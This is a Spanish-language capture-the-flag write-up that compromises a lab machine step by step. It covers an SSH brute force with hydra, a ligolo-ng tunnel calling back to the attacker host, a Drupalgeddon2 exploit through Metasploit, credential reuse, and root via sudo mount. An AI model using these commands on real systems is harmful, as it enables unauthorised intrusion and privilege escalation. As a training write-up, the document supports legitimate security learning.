Write-ups

Resolución del CTF: Pa Que Aiga Lujo


Enumeración

Escaneo de Puertos

Comenzamos, como siempre, realizando un escaneo de todos los puertos de la máquina víctima para identificar los servicios que tiene expuestos.

nmap -p- -sS --open --min-rate 5000 -n -Pn 192.168.100.30

Los parámetros utilizados son:

  • -p-: Escaneo de todos los puertos. (65535)
  • -sS: Realiza un TCP SYN Scan para escanear de manera rápida qué puertos están abiertos.
  • –open: Muestra únicamente los puertos que se encuentren abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo.
  • -n: No realiza resolución de DNS.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.

El escaneo nos revela dos puertos abiertos: 22 (SSH) y 80 (HTTP).

Realizamos un segundo escaneo más detallado sobre estos puertos para obtener las versiones de los servicios.

nmap -sCV -p22,80 192.168.100.30

Obtenemos los siguientes resultados:

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((DebianOracular))

Enumeración Web (Puerto 80)

Revisamos el servicio web en el puerto 80. Con la herramienta whatweb, identificamos el sitio «LuxeCollection».

whatweb http://192.168.100.30

http://192.168.100.30 [200 OK] Apache[2.4.62], Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Debian Linux][Apache/2.4.62 (Debian)], IP[192.168.100.30], Script, Title[LuxeCollection - Artículos de Lujo Exclusivos]

Lanzamos gobuster para buscar directorios y ficheros, pero solo encontramos rutas estáticas como /scripts y /styles que no contienen nada de interés.

Intrusión

Al inspeccionar el código fuente y el contenido de la web, encontramos varios nombres de personas (carlos, miguel, isabella, elena, sophia, etc.). Crearemos un diccionario de usuarios con estos nombres.

Sabiendo que el puerto 22 (SSH) está abierto, intentamos un ataque de fuerza bruta con hydra usando la lista de usuarios creada y un diccionario de contraseñas común como rockyou.txt.

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt -u -f -t 4 -V ssh://192.168.100.30

Tras unos minutos, hydra encuentra credenciales válidas:

[22][ssh] host: 192.168.100.30   login: Sophia   password: dolphins

Accedemos a la máquina mediante SSH con el usuario Sophia.

ssh [email protected]

Movimiento Lateral y Pivoting

Enumeración Interna

Una vez dentro, al ejecutar ip a, descubrimos que la máquina tiene una segunda interfaz de red: docker0, con la IP 172.17.0.1/16. Esto indica que estamos en una red Docker.

Lanzamos un escaneo rápido para descubrir otros hosts en esta red interna.

for target in {1..100}; do (ping -c 1 172.17.0.$target | grep "bytes from" | awk '{print $4}' | tr ':' ' ' &); done

Obtenemos respuesta de 172.17.0.2.

Creamos un pequeño script de Bash para escanear los puertos de este nuevo host interno.

#!/usr/bin/bash 
host="172.17.0.2"
echo -e "\n[+] Iniciando escaneo en el objetivo: $host"
for port in {1..1000}; do 
    timeout 1 bash -c "echo > /dev/tcp/$host/$port" 2>/dev/null && echo "[*] Port Active: $port"
done

El escaneo revela que el host 172.17.0.2 tiene el puerto 80 (HTTP) abierto.

Creación de Túnel con Ligolo-ng

Para poder auditar este servicio web interno desde nuestra máquina de atacante, necesitamos pivotar. Usaremos ligolo-ng para crear un túnel.

  1. En nuestra máquina atacante, descargamos el binario proxy de Ligolo y lo ejecutamos:Bashsudo ./proxy -selfcert -laddr 0.0.0.0:11601
  2. Desde la máquina víctima (Sophia), descargamos el binario agent de Ligolo, lo subimos a /tmp y lo ejecutamos para que se conecte a nuestro proxy:Bash/tmp/agent -connect 192.168.100.26:11601 -ignore-cert
  3. De vuelta en nuestra máquina atacante, creamos una interfaz tuntap y establecemos la ruta hacia la red interna:Bashsudo ip tuntap add user <TU_USUARIO> mode tun ligolo sudo ip link set ligolo up sudo ip route add 172.17.0.0/16 dev ligolo
  4. En la consola de ligolo-ng, seleccionamos la sesión del agente y ejecutamos start para iniciar el túnel.

Confirmamos la conexión con un ping a la máquina interna:

ping -c 1 172.17.0.2

Si recibimos respuesta, el túnel está funcionando.

Explotación de la Red Interna (Drupal)

Ahora podemos acceder a http://172.17.0.2 desde nuestro navegador.

Con whatweb, identificamos que el servicio web interno es Drupal 8.

whatweb http://172.17.0.2
...
Drupal, MetaGenerator[Drupal 8 (https://www.drupal.org)], PHP[7.2.3]
...

La combinación de Drupal 8 y PHP 7.2 es un claro indicador de que podría ser vulnerable a Drupalgeddon 2.

Utilizaremos Metasploit para la explotación.

  1. Iniciamos msfconsole.
  2. Buscamos y seleccionamos el exploit:Bashmsf6 > search drupal 8 msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
  3. Configuramos el host remoto (la IP interna) y nuestro host local (la IP de nuestra interfaz ligolo):Bashmsf6 exploit(...) > set RHOSTS 172.17.0.2 msf6 exploit(...) > set LHOST ligolo
  4. Ejecutamos el exploit:Bashmsf6 exploit(...) > exploit

Metasploit tiene éxito y obtenemos una sesión de Meterpreter. Entramos a una shell (shell) y confirmamos que somos el usuario www-data.

Escalada de Privilegios (Máquina Interna)

www-data -> ballenita

Enumerando el sistema, buscamos el fichero de configuración de Drupal en /var/www/html/sites/default/settings.php.

Dentro del fichero, encontramos las credenciales de la base de datos:

 * $databases['default']['default'] = array (
 * 'database' => 'database_under_beta_testing',
 * 'username' => 'ballenita',
 * 'password' => 'ballenitafeliz', 
 * 'host' => 'localhost',
...

Usamos estas credenciales para cambiar al usuario ballenita.

su ballenita
# Password: ballenitafeliz

ballenita -> root (interna)

Ejecutamos sudo -l para ver los permisos del usuario ballenita.

User ballenita may run the following commands on 76f1a1515e36:
    (root) NOPASSWD: /bin/ls, /bin/grep

Podemos ejecutar ls y grep como root sin contraseña. Nos aprovechamos de esto para enumerar el directorio /root.

sudo -u root /bin/ls -la /root

Vemos un fichero llamado secretitomaximo.txt. Usamos grep para leer su contenido:

sudo -u root /bin/grep '' /root/secretitomaximo.txt

ElcipotedeChocolate-CipotitoCipoton

Obtenemos lo que parece ser una contraseña de root. Probamos:

su root
# Password: ElcipotedeChocolate-CipotitoCipoton

¡Y somos root en el contenedor Docker!

Escalada de Privilegios (Máquina Principal)

Sophia -> cipote

Recordamos que en la máquina principal (la primera a la que accedimos) existía un usuario llamado cipote. Probamos la contraseña que acabamos de encontrar, ya que la reutilización de credenciales es muy común.

Volvemos a nuestra primera shell (la de [email protected]) e intentamos:

su cipote
# Contraseña: ElcipotedeChocolate-CipotitoCipoton

Funciona. Ahora somos el usuario cipote y podemos leer la flag user.txt.

cipote -> root (principal)

Solo nos queda escalar a root en la máquina principal. Comprobamos los permisos de cipote:

sudo -l

User cipote may run the following commands on TheHackersLabs-PaQueAigaLujo:
    (ALL) NOPASSWD: /usr/bin/mount

El usuario cipote puede ejecutar /usr/bin/mount como root sin contraseña. Esta es una vía de escalada de privilegios muy conocida (GTFOBins).

Podemos «sustituir» temporalmente el binario mount por una shell de bash y luego ejecutarlo.

  1. Creamos un «bind mount» para que la ruta /bin/mount apunte a /bin/bash:Bashsudo -u root /usr/bin/mount -o bind /bin/bash /bin/mount
  2. Ahora, ejecutamos el comando mount con sudo. El sistema cree que está ejecutando mount, pero gracias al bind, en realidad está ejecutando /bin/bash como root:Bashsudo mount

Automáticamente obtenemos una shell de root.

# whoami
root
# cat /root/root.txt
...

¡Máquina completada!


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *